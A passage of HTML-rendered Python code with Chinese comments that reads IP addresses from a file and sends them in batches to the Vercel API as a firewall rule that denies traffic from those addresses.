style=\"display:flex;\"\u003e\u003cspan\u003e                print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;   \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eentry\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e len(invalid_entries) \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;   ... 还有 \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003elen(invalid_entries) \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e 个无效条目\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e ips\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eFileNotFoundError\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;错误: 文件 \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003efile_path\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e 不存在\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        sys\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eexit(\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eException\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;读取文件时出错: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003ee\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        sys\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eexit(\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003echunk_ips\u003c/span\u003e(ips: List[str], chunk_size: int \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e MAX_IPS_PER_GROUP) \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e List[List[str]]:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    将IP列表分组，每组最多包含指定数量的IP\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    chunks \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, len(ips), chunk_size):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        chunks\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend(ips[i:i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chunk_size])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e chunks\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ecreate_condition_groups\u003c/span\u003e(ip_chunks: List[List[str]]) \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e List[Dict[str, Any]]:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    创建条件组，每个组包含一个IP列表\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    condition_groups \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e ip_chunk \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e ip_chunks:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        condition_group \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;conditions\u0026#34;\u003c/span\u003e: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;op\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;inc\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;ip_address\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e: ip_chunk\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        condition_groups\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend(condition_group)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e condition_groups\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ecreate_request_payload\u003c/span\u003e(condition_groups: List[Dict[str, Any]]) \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e Dict[str, Any]:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    创建请求负载\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    payload \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;action\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;rules.update\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;id\u0026#34;\u003c/span\u003e: RULE_ID,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;noitdog\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;active\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;description\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;conditionGroup\u0026#34;\u003c/span\u003e: condition_groups,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;action\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;mitigate\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;action\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;deny\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e payload\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esend_request\u003c/span\u003e(payload: Dict[str, Any]) \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e bool:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    发送PATCH请求到Vercel API\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    url \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eAPI_BASE_URL\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e?projectId=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003ePROJECT_ID\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026amp;teamId=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eTEAM_ID\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    headers \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Authorization\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Bearer \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eAUTH_TOKEN\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Content-Type\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;application/json\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;发送请求到: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eurl\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;请求数据: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003ejson\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edumps(payload, indent\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e, ensure_ascii\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eFalse\u003c/span\u003e)\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        response \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e requests\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003epatch(url, headers\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eheaders, json\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003epayload)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;响应状态码: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eresponse\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003estatus_code\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;响应内容: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eresponse\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etext\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e response\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003estatus_code \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;✅ 请求成功\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;❌ 请求失败: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eresponse\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003estatus_code\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eresponse\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etext\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e requests\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eexceptions\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eRequestException \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;❌ 网络请求错误: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003ee\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eException\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;❌ 发送请求时出错: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003ee\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    主函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e len(sys\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eargv) \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;用法: python vercelnoitdog.py \u0026lt;ip_file.txt\u0026gt;\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;示例: python vercelnoitdog.py ips.txt\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        sys\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eexit(\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ip_file \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e sys\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eargv[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 读取IP地址\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ips \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e read_ips_from_file(ip_file)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e ips:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;❌ 没有找到有效的IP地址或CIDR网段\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        sys\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eexit(\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 